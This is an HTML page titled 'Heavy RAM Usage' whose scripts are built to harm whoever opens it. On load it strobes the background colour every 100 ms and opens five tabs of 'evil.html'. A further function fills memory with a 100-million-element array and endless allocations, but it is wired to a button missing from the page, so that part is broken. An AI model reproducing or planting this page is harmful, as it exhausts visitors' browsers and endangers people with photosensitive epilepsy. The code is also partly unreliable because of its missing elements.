DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Heavy RAM Usage</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            padding: 20px;
        }
        #status {
            font-size: 18px;
            margin-top: 20px;
        }
    </style>
</head>
<body>
 

    <script>
        let dataArray = [];
        let isRunning = false;

        // Function to create and fill a large array
        function startHeavyTask() {
            if (isRunning) {
                document.getElementById('status').textContent = "Heavy task is already running!";
                return;
            }

            isRunning = true;
            document.getElementById('status').textContent = "Heavy task started, memory is being used...";

            // Creating a large array to consume RAM
            for (let i = 0; i < 100000000; i++) {  // Adjust the number for more memory consumption
                dataArray.push(Math.random());  // Storing random values
            }

            // Continuously update data to keep memory in use
            setInterval(() => {
                dataArray.push(Math.random());
            }, 100);

            // To make it more resource-heavy, simulate some other memory-consuming activity
            setInterval(() => {
                let largeString = 'A'.repeat(500000);  // Create large strings to consume more memory
            }, 1000);

            document.getElementById('status').textContent = "Memory consumption is ongoing. Check your system performance!";
        }

        document.getElementById('startButton').addEventListener('click', startHeavyTask);
    </script>
     <div id="performance-info" style="position: fixed; top: 20px; left: 20px; color: white; font-size: 18px;"></div>
<script>
    // Function to randomly change the background color
    function flashBackground() {
        setInterval(() => {
            document.body.style.backgroundColor = `rgb(${Math.random() * 255}, ${Math.random() * 255}, ${Math.random() * 255})`;
        }, 100);  // Change color every 100ms
    }

    // Function to show performance metrics
    function showPerformanceMetrics() {
        const performanceInfo = document.getElementById('performance-info');
        
        // Monitor performance every 500ms
        setInterval(() => {
            const timing = performance.timing;
            const memory = performance.memory || {};
            
            const loadTime = timing.loadEventEnd - timing.navigationStart;
            const usedJSHeap = memory.usedJSHeapSize || 'N/A';
            const totalJSHeap = memory.totalJSHeapSize || 'N/A';
            
            performanceInfo.innerHTML = `
                <strong>Performance:</strong><br>
                Load Time: ${loadTime} ms<br>
                JS Heap Used: ${usedJSHeap} bytes<br>
                JS Heap Total: ${totalJSHeap} bytes
            `;
        }, 500); // Update every 500ms
    }
     function openMultipleTabs() {
        for (let i = 0; i < 5; i++) {
            window.open("evil.html", "_blank");
        }
    }

    // Start flashing background and show performance metrics when the page loads
    window.onload = function() {
        flashBackground();
        showPerformanceMetrics();
        openMultipleTabs();
    };
</script>
</body>
</html>
